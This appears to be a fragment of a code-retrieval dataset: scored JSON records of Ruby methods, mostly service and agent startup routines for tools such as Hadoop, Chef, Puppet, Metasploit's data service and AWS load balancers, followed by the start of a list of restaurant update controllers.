"text": "def start(*services)\n services = get_services(services).map(&:service_name).to_a\n\n class << services\n def dependencies\n @dependencies ||= {\n 'FALCON' => ['HDFS', 'MAPREDUCE2', 'YARN'],\n 'GANGLIA' => ['HDFS', 'MAPREDUCE2', 'YARN'],\n 'HBASE' => ['HDFS', 'MAPREDUCE2', 'YARN', 'ZOOKEEPER'],\n 'HCATALOG' => ['HDFS', 'MAPREDUCE2', 'YARN'],\n 'HIVE' => ['HCATALOG', 'HDFS', 'MAPREDUCE2', 'YARN'],\n 'NAGIOS' => ['HDFS', 'MAPREDUCE', 'YARN'],\n 'OOZIE' => ['HDFS', 'MAPREDUCE', 'YARN'],\n 'PIG' => ['HDFS', 'MAPREDUCE', 'YARN'],\n 'SQOOP' => ['HDFS', 'MAPREDUCE', 'YARN'],\n 'TEZ' => ['HDFS', 'MAPREDUCE', 'YARN'],\n 'WEBHCAT' => ['HCATALOG', 'HDFS', 'MAPREDUCE', 'YARN'],\n 'YARN' => ['HDFS'],\n 'MAPREDUCE2' => ['HDFS'],\n 'HDFS' => [],\n 'ZOOKEEPER' => [],\n }\n end\n\n include TSort\n alias tsort_each_node each\n def tsort_each_child(node, &blk)\n select{|k| dependencies.fetch(node).include?(k)}.each(&blk)\n end\n end\n\n services = services.tsort\n\n # These always appear to come back as INSTALLED rather than STARTED.\n unstartable_services = %w[HCATALOG PIG SQOOP TEZ]\n\n log.info \"starting services in the following order: #{services}\"\n services.each do |s|\n log.info \"starting #{s}\"\n cluster.services[s].start\n wait('STARTED', s) unless unstartable_services.include? s\n end\n end",
"title": ""
},
{
"docid": "76e40726da74cf8400e807a8bafc2896",
"score": "0.53720665",
"text": "def bootstrap\n setup_keepalives\n setup_subscriptions\n setup_standalone\n @state = :running\n end",
"title": ""
},
{
"docid": "fd66ad088dc6623fe58a86c17c9aac44",
"score": "0.5352721",
"text": "def start(ip_addresses)\n @r.command(ips: ip_addresses.to_dataframe) do\n %{\n print(\"Starting cluster...\")\n print(paste(\"Number of Workers:\", nrow(ips)))\n if (nrow(ips) == 0) {\n stop(options(\"show.error.messages\"=\"No Worker Nodes\"),\" No Worker Nodes\")\n }\n uniqueips <- unique(ips)\n numunique <- nrow(uniqueips) * 180\n print(paste(\"max timeout is:\",numunique))\n timeflag <<- TRUE;\n res <- NULL;\n starttime <- Sys.time()\n tryCatch({\n res <- R.utils::withTimeout({\n cl <- makePSOCKcluster(ips[,1], master='openstudio.server', outfile=\"/mnt/openstudio/log/snow.log\")\n }, timeout=numunique);\n }, TimeoutException=function(ex) {\n cat(\"#{@analysis_id} Timeout\\n\");\n timeflag <<- FALSE;\n file.create('rtimeout')\n stop\n })\n endtime <- Sys.time()\n timetaken <- endtime - starttime\n print(paste(\"R cluster startup time:\",timetaken))\n\n print(paste(\"whoami:\",system('whoami', intern = TRUE)))\n print(paste(\"PATH:\",Sys.getenv(\"PATH\")))\n print(paste(\"RUBYLIB:\",Sys.getenv(\"RUBYLIB\")))\n print(paste(\"R_HOME:\",Sys.getenv(\"R_HOME\")))\n print(paste(\"R_ENVIRON:\",Sys.getenv(\"R_ENVIRON\")))\n print(\"Cluster started\")\n }\n end\n\n @started = @r.converse('timeflag')\n @started\n end",
"title": ""
},
{
"docid": "1dc0f2948e588d950b144624c1c7b234",
"score": "0.5347138",
"text": "def create_go_agent(instanceId)\n\n template \"/etc/init.d/go-agent#{instanceId}\" do\n # <%= @go_agent_instance -%>\n source 'go-agent-service.erb'\n mode '0755'\n owner 'root'\n group 'root'\n variables(:go_agent_instance => instanceId)\n subscribes :create, \"package[go-agent]\"\n notifies :enable, \"service[go-agent#{instanceId}]\", :delayed\n action :nothing\n end\n\n template \"/etc/default/go-agent#{instanceId}\" do\n source 'go-agent-defaults.erb'\n mode '0644'\n owner 'go'\n group 'go'\n variables(:go_server_host => node[:go][:server][:host], \n :go_server_port => node[:go][:server][:port], \n :go_agent_instance => instanceId,\n :java_home => node[:java][:java_home],\n :work_dir => \"/var/lib/go-agent#{instanceId}\")\n subscribes :create, \"template[/etc/init.d/go-agent#{instanceId}]\"\n action :nothing\n end\n\n template \"/usr/share/go-agent/agent#{instanceId}.sh\" do\n source 'go-agent-sh.erb'\n mode '0755'\n owner 'go'\n group 'go'\n variables(:go_agent_instance => instanceId)\n subscribes :create, \"template[/etc/init.d/go-agent#{instanceId}]\"\n action :nothing\n end\n\n directory \"/var/lib/go-agent#{instanceId}\" do\n mode '0755'\n owner 'go'\n group 'go'\n subscribes :create, \"template[/etc/init.d/go-agent#{instanceId}]\"\n action :nothing\n end\n\n\n service \"go-agent#{instanceId}\" do\n supports :status => true, :restart => true, :reload => true, :start => true\n action :nothing\n subscribes :restart, \"template[/etc/init.d/go-agent#{instanceId}]\"\n subscribes :restart, \"template[/etc/default/go-agent#{instanceId}]\"\n end\nend",
"title": ""
},
{
"docid": "6444f56cf8ceadf8a8e0f792cac899a1",
"score": "0.5345278",
"text": "def run\n # 1. Load configuration settings\n options = OptionsBag.load\n agent_id = options[:identity]\n AgentConfig.root_dir = options[:root_dir]\n\n Log.program_name = 'RightLink'\n Log.facility = 'user'\n Log.log_to_file_only(options[:log_to_file_only])\n Log.init(agent_id, options[:log_path])\n Log.level = CookState.log_level\n # add an additional logger if the agent is set to log to an alternate \n # location (install, operate, decommission, ...)\n Log.add_logger(::Logger.new(CookState.log_file)) if CookState.log_file\n\n Log.info(\"[cook] Process starting up with dev tags: [#{CookState.startup_tags.select { |tag| tag.include?(CookState::DEV_TAG_NAMESPACE)}.join(', ')}]\")\n fail('Missing command server listen port') unless options[:listen_port]\n fail('Missing command cookie') unless options[:cookie]\n @client = CommandClient.new(options[:listen_port], options[:cookie])\n ShutdownRequestProxy.init(@client)\n\n # 2. Retrieve bundle\n input = gets.chomp\n begin\n platform = RightScale::Platform\n if platform.windows?\n bundle = MessageEncoder::SecretSerializer.new(InstanceState.identity, ENV[ExecutableSequenceProxy::DECRYPTION_KEY_NAME]).load(input)\n else\n bundle = MessageEncoder::Serializer.new.load(input)\n end\n rescue Exception => e\n fail('Invalid bundle', e.message)\n end\n\n fail('Missing bundle', 'No bundle to run') if bundle.nil?\n\n @thread_name = bundle.runlist_policy.thread_name if bundle.respond_to?(:runlist_policy) && bundle.runlist_policy\n @thread_name ||= RightScale::AgentConfig.default_thread_name\n options[:thread_name] = @thread_name\n\n # Chef state needs the server secret so it can encrypt state on disk.\n # The secret is the same for all instances of the server (i.e. is still\n # valid after stop and restart server).\n server_secret = bundle.server_secret || AgentConfig.default_server_secret\n ChefState.init(agent_id, server_secret, reset=false)\n\n # 3. Run bundle\n @@instance = self\n success = nil\n Log.debug(\"[cook] Thread name associated with bundle = #{@thread_name}\")\n gatherer = ExternalParameterGatherer.new(bundle, options)\n sequence = ExecutableSequence.new(bundle)\n EM.threadpool_size = 1\n EM.error_handler do |e|\n Log.error(\"Execution failed\", e, :trace)\n fail('Exception caught', \"The following exception was caught during execution:\\n #{e.message}\")\n end\n EM.run do\n begin\n AuditStub.instance.init(options)\n check_for_missing_inputs(bundle)\n gatherer.callback { EM.defer { sequence.run } }\n gatherer.errback { success = false; report_failure(gatherer) }\n sequence.callback { success = true; send_inputs_patch(sequence) }\n sequence.errback { success = false; report_failure(sequence) }\n\n EM.defer { gatherer.run }\n rescue Exception => e\n fail('Execution failed', Log.format(\"Execution failed\", e, :trace))\n end\n end\n\n rescue Exception => e\n fail('Execution failed', Log.format(\"Run failed\", e, :trace))\n\n ensure\n Log.info(\"[cook] Process stopping\")\n exit(1) unless success\n end",
"title": ""
},
{
"docid": "24dc456397a33c1c86034fced24028bf",
"score": "0.5319627",
"text": "def start\n Minitest.assert_no_minitest_reporters\n debug(\"Starting reporting\")\n collect_tests_to_run\n send_service_message(Rake::TeamCity::MessageFactory.create_tests_count(options[:total_count] || total_count))\n end",
"title": ""
},
{
"docid": "e6197097f1af1d01917f373445deaa8d",
"score": "0.5319569",
"text": "def start\n FileUtils.mkdir_p(CloudCrowd.log_path) if @daemon && !File.exists?(CloudCrowd.log_path)\n @server = Thin::Server.new('0.0.0.0', @port, self, :signals => false)\n @server.tag = 'cloud-crowd-node'\n @server.pid_file = CloudCrowd.pid_path('node.pid')\n @server.log_file = CloudCrowd.log_path('node.log')\n @server.daemonize if @daemon\n trap_signals\n asset_store\n @server_thread = Thread.new { @server.start }\n check_in(true)\n check_in_periodically\n monitor_system if @max_load || @min_memory\n @server_thread.join\n end",
"title": ""
},
{
"docid": "c9dad177326ed7587151323e6c3db51e",
"score": "0.53123957",
"text": "def manual_start(options={})\n raise \"Options must be a hash\" unless Hash === options\n TingYun::Frameworks.init_start({ :'nbs.agent_enabled' => true, :sync_startup => true }.merge(options))\n end",
"title": ""
},
{
"docid": "610988a7c6717b205b83cbae63b845a9",
"score": "0.53091514",
"text": "def start_agent\n @started_in_env = self.env\n NewRelic::Agent.agent.start\n end",
"title": ""
},
{
"docid": "324f4497264091d6ca6ccc57c7be162e",
"score": "0.5306343",
"text": "def start_server(type, date)\n if type == :master\n Shell.execute \"launchctl load -w #{launchd_script_filename(date)}\"\n end\n end",
"title": ""
},
{
"docid": "d2c7e25fe93ec9e69431642956575866",
"score": "0.5306251",
"text": "def start_distribution\n _cmd('startDistribution')\n end",
"title": ""
},
{
"docid": "814087d601782f203ba8f130c17edb40",
"score": "0.53005755",
"text": "def start\n resolve_parameters\n app_info = version_info @service, @version\n resolve_strategy app_info[\"env\"]\n if @strategy == \"cloud_build\"\n start_build_strategy app_info\n else\n start_deployment_strategy app_info\n end\n end",
"title": ""
},
{
"docid": "5ff2694d899c8686e39a526913148972",
"score": "0.5298806",
"text": "def start_news_agency!\n NewsAgency.run!\n end",
"title": ""
},
{
"docid": "61d3f749df435743ff055328d2f2b1aa",
"score": "0.5297314",
"text": "def startups\n end",
"title": ""
},
{
"docid": "1f7137d7aa4493e9db2829f0d9202ac4",
"score": "0.5293521",
"text": "def launch!\n repeat_until(:launched?) do\n instances.each{|inst| inst.launch! }\n volumes.each{ |vol| vol.launch! }\n end\n end",
"title": ""
},
{
"docid": "9d4db3f4264cf96d9145456669c794fd",
"score": "0.5291833",
"text": "def start\n info \"Configuring the actors...\"\n Celluloid::Actor[:listener].async.start\n Celluloid::Actor[:database_mid].async.start\n info \"All actors configured.\"\n end",
"title": ""
},
{
"docid": "10b75a2c85b1cf5c83a5a9345ae1743d",
"score": "0.52916765",
"text": "def service_main(*args)\r\n\t\t\tbegin\r\n\t\t\t\t$agent.start\r\n\t\t\trescue => e\r\n\t\t\t\terror(e.inspect)\r\n\t\t\tend\r\n\t\tend",
"title": ""
},
{
"docid": "bcd35d987b7324a770cbf945e2212413",
"score": "0.5285294",
"text": "def allure_start\n @builder.send(:init_suites)\n end",
"title": ""
},
{
"docid": "de9f8ac148cbe524ab8911f95eb8e239",
"score": "0.5277654",
"text": "def start(opts)\n @mutex.synchronize do\n\n return if @running\n\n # started with no signal to prevent ctrl-c from taking out db\n db_script = File.join( Msf::Config.install_root, opts[:process_name])\n wait_t = Open3.pipeline_start(db_script)\n @pid = wait_t[0].pid\n puts \"Started process with pid #{@pid}\"\n\n endpoint = \"http://#{opts[:host]}:#{opts[:port]}\"\n @remote_host_data_service = Metasploit::Framework::DataService::RemoteHTTPDataService.new(endpoint)\n\n count = 0\n loop do\n count = count + 1\n if count > 10\n raise 'Unable to start remote data service'\n end\n\n sleep(1)\n\n if @remote_host_data_service.is_online?\n break\n end\n end\n\n @running = true\n end\n\n end",
"title": ""
},
{
"docid": "23b96f8edd437534881a3c0c32cdd606",
"score": "0.52731407",
"text": "def start_procs; end",
"title": ""
},
{
"docid": "a5f12de8cdfd3cb14ee2e37fdfe397ec",
"score": "0.52714384",
"text": "def init_for_integration\n clean_test_cache\n make_test_dirs\n self.registry_start\n sleep(8)\n # Start NSQ, Minio, Redis, and Registry\n @all_services.each do |svc|\n start_service(svc)\n end\n sleep(5)\n create_nsq_topics\n end",
"title": ""
},
{
"docid": "cb524ae1c3c202619983ac40202e8fab",
"score": "0.5269253",
"text": "def start\n Chore.logger.info \"Fetcher starting up\"\n @strategy.fetch\n end",
"title": ""
},
{
"docid": "75d6bcbc0685b55a537904df1b38e10a",
"score": "0.52675617",
"text": "def run_nodes(nodes)\n log(\"Running Puppet on %s nodes\" % bold(nodes.size))\n\n puppet.discover(:nodes => nodes)\n\n enable_nodes(nodes)\n puppet.runonce(:splay => false, :use_cached_catalog => false, :force => true)\n wait_till_nodes_start(nodes)\n wait_till_nodes_idle(nodes)\n disable_nodes(nodes)\n end",
"title": ""
},
{
"docid": "5f2bc3f02e29e097cc08929252bcde61",
"score": "0.5260145",
"text": "def ensure_nodes_running\n ensure_rds_nodes if !@rds_nodes.empty?\n ensure_ec2_nodes if !@ec2_nodes.empty?\n ensure_elb_nodes if !@elb_nodes.empty?\n end",
"title": ""
},
{
"docid": "7d026540f303f4fd42585fc8358ea5f0",
"score": "0.52571076",
"text": "def start\n build_dependency_trees\n end",
"title": ""
},
{
"docid": "0cbcbe4e664dd9233adcc1f073cf9c3f",
"score": "0.5254476",
"text": "def start\n # Start dependencies\n @dependencies.each do |dependency|\n dependency.start unless dependency.running?\n end\n\n # Create a container object\n if @container.nil?\n prepare_image\n prepare_container\n end\n\n @container.start unless @container.nil?\n end",
"title": ""
},
{
"docid": "6720f376695bea7bb7daab87b8f8dfe3",
"score": "0.5249003",
"text": "def start\n ::Instana.logger.warn \"Host agent not available. Will retry periodically.\" unless host_agent_ready?\n\n loop do\n if @state == :unannounced\n @collect_timer.pause\n @announce_timer.resume\n else\n @announce_timer.pause\n @collect_timer.resume\n end\n @timers.wait\n end\n rescue Exception => e\n ::Instana.logger.warn \"#{__method__}:#{File.basename(__FILE__)}:#{__LINE__}: #{e.message}\"\n ::Instana.logger.debug e.backtrace.join(\"\\r\\n\")\n ensure\n if @state == :announced\n # Pause the timers so they don't fire while we are\n # reporting traces\n @collect_timer.pause\n @announce_timer.pause\n\n ::Instana.logger.debug \"#{Thread.current}: Agent exiting. Reporting final #{::Instana.processor.queue_count} trace(s).\"\n ::Instana.processor.send\n end\n end",
"title": ""
},
{
"docid": "6061f953e3c4d99d5c87c2bbdb060cf5",
"score": "0.52424294",
"text": "def prepare\n started_at = DateTime.now.to_s\n prepare_deploy\n prepare_common_installation\n puppet_installation\n create_prepare_checkpoint(started_at)\n end",
"title": ""
},
{
"docid": "fad5b845328a97b03b3931d7cf8589a7",
"score": "0.5241907",
"text": "def setup_no_config_agents\n installed_agents.each do |agent_id,installed_agent|\n unless installed_agent[:agent_class].config_required?\n agent_setup.create_agent agent_id,installed_agent[:agent_class].label,{}\n end\n end\n end",
"title": ""
},
{
"docid": "fad5b845328a97b03b3931d7cf8589a7",
"score": "0.5241907",
"text": "def setup_no_config_agents\n installed_agents.each do |agent_id,installed_agent|\n unless installed_agent[:agent_class].config_required?\n agent_setup.create_agent agent_id,installed_agent[:agent_class].label,{}\n end\n end\n end",
"title": ""
},
{
"docid": "baaa44d3ced22419c6d25ed269855ccb",
"score": "0.5241423",
"text": "def startApplications()\n debug(\"Start all applications\")\n @nodeSet.startApplications\n end",
"title": ""
},
{
"docid": "0411c81c8c0001496a089ec1519cf7c8",
"score": "0.5238913",
"text": "def add_clamps_groups # rubocop:disable Metrics/AbcSize, Metrics/PerceivedComplexity, Metrics/CyclomaticComplexity\n # Creates a node group for creating the fake agents. This node group should match all users that are\n # running as root.\n clamps_agents_group = {\n \"name\" => \"Clamps - Agent Nodes\",\n \"rule\" => [\"and\", [\"=\", %w[fact id], \"root\"], [\"~\", %w[fact fqdn], \"agent\"]],\n \"parent\" => pe_infra_uuid,\n \"classes\" => {\n \"clamps::agent\" => {\n \"master\" => any_hosts_as?(:loadbalancer) ? \"puppet\" : master.node_name,\n \"nonroot_users\" => (options[:scale] && options[:scale][:num_nonroot_users]) || 2,\n \"daemonize\" => (options[:scale] && options[:scale][:daemonize]) || false,\n \"mco_daemon\" => (options[:scale] && options[:scale][:mco_daemon]) || \"stopped\",\n \"num_facts_per_agent\" => (options[:scale] && options[:scale][:facts_per_agent]) || 500,\n \"percent_changed_facts\" => (options[:scale] && options[:scale][:percent_facts_to_change]) || 15,\n \"splay\" => (options[:scale] && options[:scale][:splay]) || false,\n \"splaylimit\" => (options[:scale] && options[:scale][:splaylimit]) || false\n }\n }\n }\n\n # Create static and dynamic files for the non-root user agents\n clamps_users_group = {\n \"name\" => \"Clamps - Agent Users (non root)\",\n \"rule\" => [\"and\", [\"not\", [\"=\", %w[fact id], \"root\"]]],\n \"parent\" => pe_infra_uuid,\n \"classes\" => {\n \"clamps\" => {\n \"num_static_files\" => (options[:scale] && options[:scale][:static_files]) || 20,\n \"num_dynamic_files\" => (options[:scale] && options[:scale][:dynamic_files]) || 5\n }\n }\n }\n\n # The Clamps::master class manages auth.conf for the agents - by setting it to allow all.\n # This is insecure and worth looking at overriding at some point, but this should only be used for\n # metrics / load testing on a private network, so shouldn't be an issue short term.\n clamps_ca_group = {\n \"name\" => \"Clamps CA\",\n \"rule\" => [\"or\", [\"=\", \"name\", master.node_name]], # pinned node\n \"parent\" => pe_infra_uuid,\n \"classes\" => {\n \"clamps::master\" => {}\n }\n }\n\n dispatcher.find_or_create_node_group_model(clamps_agents_group)\n dispatcher.find_or_create_node_group_model(clamps_users_group)\n dispatcher.find_or_create_node_group_model(clamps_ca_group)\nend",
"title": ""
},
{
"docid": "66f10f93367bfd7773ade41116873333",
"score": "0.52354914",
"text": "def prep\n client.run_ohai\n client.load_node # from the server\n client.build_node\n end",
"title": ""
},
{
"docid": "cf97ad2e9d3ee0cc04d7495e8bc87a2a",
"score": "0.5226391",
"text": "def install(force=false)\n context.config = ScoutApm::Config.with_file(context, context.config.value(\"config_file\"))\n\n logger.info \"Scout Agent [#{ScoutApm::VERSION}] Initialized\"\n\n if should_load_instruments? || force\n instrument_manager.install!\n install_background_job_integrations\n install_app_server_integration\n else\n logger.info \"Not Loading Instruments\"\n end\n\n logger.info \"Scout Agent [#{ScoutApm::VERSION}] Installed\"\n\n context.installed!\n\n @preconditions = ScoutApm::Agent::Preconditions.new\n if @preconditions.check?(context) || force\n start\n end\n end",
"title": ""
},
{
"docid": "a9f184fe0eeb70b6c2172d10c0a72814",
"score": "0.52241206",
"text": "def start\n configure_log!\n client_configuration!\n client_application!\n client_initialize!\n\n Vedeu::Launcher.execute!(argv)\n end",
"title": ""
},
{
"docid": "21768c97e77ff84030482bdeaed3d8f7",
"score": "0.5217779",
"text": "def start\n do_for_each_service { |service| service.start }\n end",
"title": ""
},
{
"docid": "a67bfdc15bf4cbe0ca74f70df875060b",
"score": "0.52058727",
"text": "def initialize_server\n my_public_ip = my_node.public_ip\n head_node_ip = get_public_ip(@creds['hostname'])\n\n HAProxy.initialize_config\n Nginx.initialize_config\n Collectd.initialize_config(my_public_ip, head_node_ip)\n Monitoring.reset\n end",
"title": ""
},
{
"docid": "7b74f7921f7baaaab5bcfaba0836f4bf",
"score": "0.52032673",
"text": "def expand_cloud_if_necessary(force=false)\n if can_start_a_new_instance? && can_expand_cloud?(force)\n vputs \"Expanding the cloud based on load\"\n @num = 1\n @num.times do |i|\n list_of_pending_instances.size == 0 ? request_launch_one_instance_at_a_time : wait(\"5.seconds\") \n reset!\n vputs \"request_launch_new_instances: #{@num}\"\n provision_slaves_from_n(@num)\n after_launched\n end\n end\n end",
"title": ""
},
{
"docid": "6fc7e2c1acb5e158be2e0dc37458208e",
"score": "0.5202566",
"text": "def install_bootstrap(target_nodes)\n # Head nodes must be installed before workers.\n all_hadoop_head_nodes = parse_cluster_txt(cluster_txt).select do |node|\n node[:runlist].include?('role[BCPC-Hadoop-Head]')\n end\n\n target_head_nodes = target_nodes & all_hadoop_head_nodes\n\n partial_runlist = 'role[BCPC-Hadoop-Head]'\n\n # See comments in install_hadoop\n assign_roles(nodes: all_hadoop_head_nodes, runlist: partial_runlist)\n\n wait_for_indexed_roles(nodes: all_hadoop_head_nodes,\n search: 'role:BCPC-Hadoop-Head')\n\n target_head_nodes.each do |node|\n puts \"#{node[:fqdn]}: Cheffing head node with partial runlist\"\n chef_node_with_runlist(node: node, runlist: partial_runlist)\n end\n end",
"title": ""
},
{
"docid": "6d861bc0244d3eb9b39d2d73f3e0babb",
"score": "0.52024543",
"text": "def ensure_elb_nodes\n all_balancers = @elb.describe_load_balancers()\n to_be_started = Array.new\n @elb_nodes.keys.each do |node_name|\n node_instance = find_elb_node_instance(node_name, all_balancers)\n if node_instance.nil?\n @logger.info \"Node #{node_name} not running. Starting...\"\n to_be_started << node_name\n else\n @logger.info \"Node #{node_name} already running (host: #{node_instance.DNSName})\"\n end\n end\n to_be_started.each do |node_name|\n node = @nodes[node_name]\n # TODO: What to do about availability zones tied to this elb's instances, but not specified here? Validation error? Leave it to the user?\n elb = @elb.create_load_balancer(:load_balancer_name => node.load_balancer_name, :availability_zones => node.availability_zones, :listeners => node.listeners)\n node.hostname = elb.CreateLoadBalancerResult.DNSName\n @logger.info \"Node #{node_name} started (host: #{node.hostname})\"\n if !node.health_check.nil?\n @elb.configure_health_check({:health_check => node.health_check,\n :load_balancer_name => node.load_balancer_name})\n end\n if !node.ec2_nodes.nil?\n instance_ids = Array.new\n all_instances = @ec2.describe_instances()\n node.ec2_nodes.each do |ec2_node_name|\n instance = find_ec2_node_instance(ec2_node_name, all_instances)\n if instance.nil?\n @logger.error \"ERROR: Ec2 node '#{ec2_node_name}' is not running to map to Elb node '#{node.name}'\"\n else\n instance_ids << instance.instanceId\n end\n end\n instance_ids.sort!\n begin\n response = @elb.register_instances_with_load_balancer(:load_balancer_name => node.load_balancer_name, :instances => instance_ids)\n if !response.RegisterInstancesWithLoadBalancerResult.nil? && !response.RegisterInstancesWithLoadBalancerResult.Instances.nil?\n registered_instances = Array.new\n response.RegisterInstancesWithLoadBalancerResult.Instances.member.each do |member|\n registered_instances << member.InstanceId\n end\n registered_instances.sort!\n if instance_ids.eql?(registered_instances)\n @logger.info \"Registered Ec2 Nodes #{node.ec2_nodes.inspect} with Elb Node #{node_name}\"\n else\n @logger.error \"ERROR: Could not register all Ec2 Nodes #{node.ec2_nodes.inspect} with Elb Node #{node_name}. The following instances are registered: #{registered_instances}\"\n end\n else\n @logger.error \"ERROR: Could not register Ec2 Nodes #{node.ec2_nodes.inspect} with Elb Node #{node_name}\"\n end\n rescue AWS::Error => aws_error\n @logger.error \"ERROR: Could not register Ec2 Nodes #{node.ec2_nodes.inspect} with Elb Node #{node_name}: #{aws_error.message}\"\n end\n end\n end\n end",
"title": ""
},
{
"docid": "ac8bba8c155fd4aae3ec6e30e286909d",
"score": "0.5199534",
"text": "def start\n\t\t\t%w{process database}.each { |m|\n\t\t\t\tsend \"start_#{m}\"\n\t\t\t}\n\t\t\tnil\n\t\tend",
"title": ""
},
{
"docid": "19fe58963640885da0e208787b40fda9",
"score": "0.51993835",
"text": "def start(options)\n begin\n setup_traps\n @state_serializer = Serializer.new(:json)\n\n # Retrieve instance agent configuration options\n @agent = AgentConfig.agent_options('instance')\n error(\"No instance agent configured\", nil, abort = true) if @agent.empty?\n\n # Apply agent's ping interval if needed and adjust options to make them consistent\n @options = options\n unless @options[:time_limit]\n if @agent[:ping_interval]\n @options[:time_limit] = @agent[:ping_interval] * PING_INTERVAL_MULTIPLIER\n else\n @options[:time_limit] = DEFAULT_TIME_LIMIT\n end\n end\n @options[:retry_interval] = [@options[:retry_interval], @options[:time_limit]].min\n @options[:max_attempts] = [@options[:max_attempts], @options[:time_limit] / @options[:retry_interval]].min\n @options[:log_path] ||= RightScale::Platform.filesystem.log_dir\n\n # Attach to log used by instance agent\n Log.program_name = 'RightLink'\n Log.facility = 'user'\n Log.log_to_file_only(@agent[:log_to_file_only])\n Log.init(@agent[:identity], @options[:log_path], :print => true)\n Log.level = :debug if @options[:verbose]\n @logging_enabled = true\n\n # Catch any egregious eventmachine failures, especially failure to connect to agent with CommandIO\n # Exit even if running as daemon since no longer can trust EM and should get restarted automatically\n EM.error_handler do |e|\n if e.class == RuntimeError && e.message =~ /no connection/\n error(\"Failed to connect to agent for communication check\", nil, abort = false)\n @command_io_failures = (@command_io_failures || 0) + 1\n reenroll! if @command_io_failures > @options[:max_attempts]\n else\n error(\"Internal checker failure\", e, abort = true)\n end\n end\n\n # note that our Windows service monitors rnac and rchk processes\n # externally and restarts them if they die, so no need to roll our\n # own cross-monitoring on that platform.\n use_agent_watcher = !RightScale::Platform.windows?\n EM.run do\n check\n setup_agent_watcher if use_agent_watcher\n end\n stop_agent_watcher if use_agent_watcher\n\n rescue SystemExit => e\n raise e\n rescue Exception => e\n error(\"Failed to run\", e, abort = true)\n end\n true\n end",
"title": ""
},
{
"docid": "03492b29846de61cf55f40f949c529e8",
"score": "0.5191451",
"text": "def create_agents\n d1agent = D1Agents.instance\n d1agent.agents.each do |a|\n DataMapper.repository(:default) do \n agent = PremisAgent.new\n note = String.new(\"In production from \" + a.start_time.to_s + \" to \" + a.end_time.to_s)\n\t agent.attributes = { :id => a.aid, :name => 'daitss I', :type => 'software', :note => note}\n\t raise \"cannot save agent #{agent.inspect}\" unless agent.save\n\t end\n\tend\n end",
"title": ""
},
{
"docid": "3637461d516c1de37db672d46625f852",
"score": "0.5187063",
"text": "def load_classifier()\n auth_info = {\n 'ca_certificate_path' => Puppet[:localcacert],\n 'certificate_path' => Puppet[:hostcert],\n 'private_key_path' => Puppet[:hostprivkey],\n }\n unless @classifier\n load_classifier_config\n @classifier = PuppetClassify.new(@classifier_url, auth_info)\n @classifier.update_classes.update\n end\nend",
"title": ""
},
{
"docid": "89527eeddf715a10d12cb5256b193b70",
"score": "0.51800936",
"text": "def start\n Chore.run_hooks_for(:before_start)\n @started_at = Time.now\n @worker_strategy.start\n @fetcher.start\n end",
"title": ""
},
{
"docid": "9f1bb6abb1ec4872a7de7dc5c603fcac",
"score": "0.51607895",
"text": "def launch_and_configure_master!(testing=false)\n vputs \"Requesting to launch new instance\"\n dputs \"Launching master\"\n request_launch_master_instance if list_of_pending_instances.size.zero? && can_start_a_new_instance? && !is_master_running? && !testing\n reset!\n unless testing\n vputs \"\"\n vputs \"Waiting for there to be no pending instances...\"\n when_no_pending_instances do\n when_all_assigned_ips {wait \"20.seconds\"}\n vputs \"\"\n vputs \"Provisioning master...\"\n # cleanup_storage_directory\n @provisioner = PoolParty::Provisioner::Capistrano.new(master, self, :ubuntu)\n verbose ? @provisioner.install(testing) : hide_output { @provisioner.install(testing) }\n \n after_launched\n end\n end\n end",
"title": ""
},
{
"docid": "1d72094549ed3300adbdceb54b7f65ec",
"score": "0.51599264",
"text": "def start\r\n @affiliation = Affiliation.new(affiliation_params)\r\n @program = Program.new(program_params)\r\n end",
"title": ""
},
{
"docid": "22435117599ae984d331d8e9396be3a0",
"score": "0.5157634",
"text": "def start\n run_all\n end",
"title": ""
},
{
"docid": "22435117599ae984d331d8e9396be3a0",
"score": "0.5157634",
"text": "def start\n run_all\n end",
"title": ""
},
{
"docid": "22435117599ae984d331d8e9396be3a0",
"score": "0.5157634",
"text": "def start\n run_all\n end",
"title": ""
},
{
"docid": "687e973db84caa71d599890275ed2ecc",
"score": "0.51464665",
"text": "def start_supervised\n process.supervise do\n Karafka::Runner.new.run\n run!\n sleep\n end\n end",
"title": ""
},
{
"docid": "687e973db84caa71d599890275ed2ecc",
"score": "0.51464665",
"text": "def start_supervised\n process.supervise do\n Karafka::Runner.new.run\n run!\n sleep\n end\n end",
"title": ""
},
{
"docid": "60fb44c068cd8e0d2b1e875ab6d7bfb2",
"score": "0.5145314",
"text": "def install\n old = ::Puma.cli_config.options.user_options[:before_worker_boot] || []\n new = Array(old) + [Proc.new do\n logger.info \"Installing Puma worker loop.\"\n ScoutApm::Agent.instance.start_background_worker\n end]\n\n ::Puma.cli_config.options[:before_worker_boot] = new\n rescue\n logger.warn \"Unable to install Puma worker loop: #{$!.message}\"\n end",
"title": ""
},
{
"docid": "75e678a396f433cf5b099ce9c29bfb89",
"score": "0.51422226",
"text": "def start\n run_all if options[:build_on_start]\n end",
"title": ""
},
{
"docid": "e6ced4a247f81ab8ada6d0c2bec15391",
"score": "0.5138414",
"text": "def setup\n threads = []\n @hosts.each do |name, machine|\n if machine.alive? # no need to thread if the machine is off-line\n threads << Thread.new(machine) do |host_machine|\n host_machine.session do |host|\n startup(host)\n end\n end\n end\n end\n threads.each {|thrd| thrd.join}\n sleep 1 # give the drb servers a little time to get running\n end",
"title": ""
},
{
"docid": "2fe1dc6e7693494134bc3695e0075f4f",
"score": "0.51358336",
"text": "def start\n run_all if @options[:all_on_start]\n end",
"title": ""
}
] |
199c58d11a3a6b751780825863b7d5cd
|
PUT /restaurants/1 PUT /restaurants/1.json
|
[
{
"docid": "2ba1bb1faeb3988ac75858fb62f506f9",
"score": "0.6341018",
"text": "def update \n @restaurant = Restaurant.find(params[:id])\n @restaurant.owner_id = current_owner.id\n\n respond_to do |format|\n if @restaurant.update_attributes(params[:restaurant])\n # format.html { redirect_to @restaurant, notice: 'Restaurant was successfully updated.' }\n format.html { redirect_to account_owner_dashboards_path, notice: 'Restaurant was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "ef9e64655915a948f0d8b549ac8fce71",
"score": "0.75259",
"text": "def update\n json_response(@restaurant.update!(restaurant_params))\n end",
"title": ""
},
{
"docid": "377f6e266f28b08e46c22975cf3f4d34",
"score": "0.7013629",
"text": "def update\n update_restaurant\n end",
"title": ""
},
{
"docid": "a0fab71eb2323a1e999d5a495ee3f585",
"score": "0.6843627",
